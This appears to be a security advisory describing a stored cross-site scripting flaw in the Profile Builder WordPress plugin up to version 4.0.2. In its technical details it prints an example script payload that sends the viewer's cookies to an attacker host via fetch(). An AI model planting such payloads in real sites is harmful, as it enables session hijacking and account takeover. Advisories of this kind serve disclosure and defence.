Description

Subscriber Cross Site Scripting (XSS) in Profile Builder <= 4.0.2 versions.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "6.5",
  "pubDate": "2026-09-30T13:17:29.037Z",
  "pubdate": "2026-09-30T13:17:29.037Z",
  "executiveSummary": "The Profile Builder plugin for WordPress, in all versions up to and including 4.0.2, is susceptible to a Stored Cross-Site Scripting (XSS) vulnerability.\nThis vulnerability allows authenticated users with Subscriber-level privileges to inject malicious JavaScript code into the application's profile management components.\nSuccessful exploitation enables an attacker to execute arbitrary scripts in the context of a victim's session, which could include administrative users viewing affected profiles.\nThe risk implication is significant, as it can lead to full account takeover, session hijacking, or the unauthorized modification of site content.\nThe vulnerability originates from the improper sanitization of user-supplied input before it is rendered within the browser.\nExploitation requires authenticated access to the target system, specifically a subscriber account, and does not necessitate complex social engineering if an administrator interacts with the profile data.",
  "technicalDetails": "The Profile Builder plugin fails to adequately sanitize and validate user-supplied input across various profile fields before storing them in the WordPress database. This creates a Stored Cross-Site Scripting (XSS) vector within the plugin's profile management functionality.\nWhen a user with Subscriber privileges updates their profile information, the plugin processes the input data without sufficient security filtering. If an attacker injects a malicious payload, such as a script tag containing arbitrary JavaScript, the application saves this data directly to the database.\nThe attack flow begins when an authenticated Subscriber navigates to the profile editing interface provided by the plugin. By modifying a profile field, the attacker inserts a crafted payload designed to execute in the browser of any user who subsequently views that profile. For instance, an attacker might inject <script>fetch('https://attacker.com/steal?cookie=' + document.cookie);</script> into a bio or custom field.\nThe vulnerability resides in the component responsible for processing profile updates and rendering the stored data on the front-end or back-end dashboards. When a victim, such as an administrator, views the profile of the malicious user, the browser interprets the stored script as legitimate code associated with the site, executing it with the victim's privileges.\nThe impact of this execution is extensive. Because the script runs in the context of the victim's browser session, the attacker can access sensitive session tokens, perform actions on behalf of the victim, or redirect users to malicious domains. If the victim is an administrator, the attacker could effectively gain unauthorized access to site management features, execute administrative tasks, or inject further malicious persistent payloads.\nThis vulnerability is classified as stored XSS because the payload is persistent; it remains in the database and triggers every time the affected profile data is retrieved and rendered by the application's interface. The lack of output encoding or input validation during the data retrieval and display process ensures the browser will always execute the stored payload."
}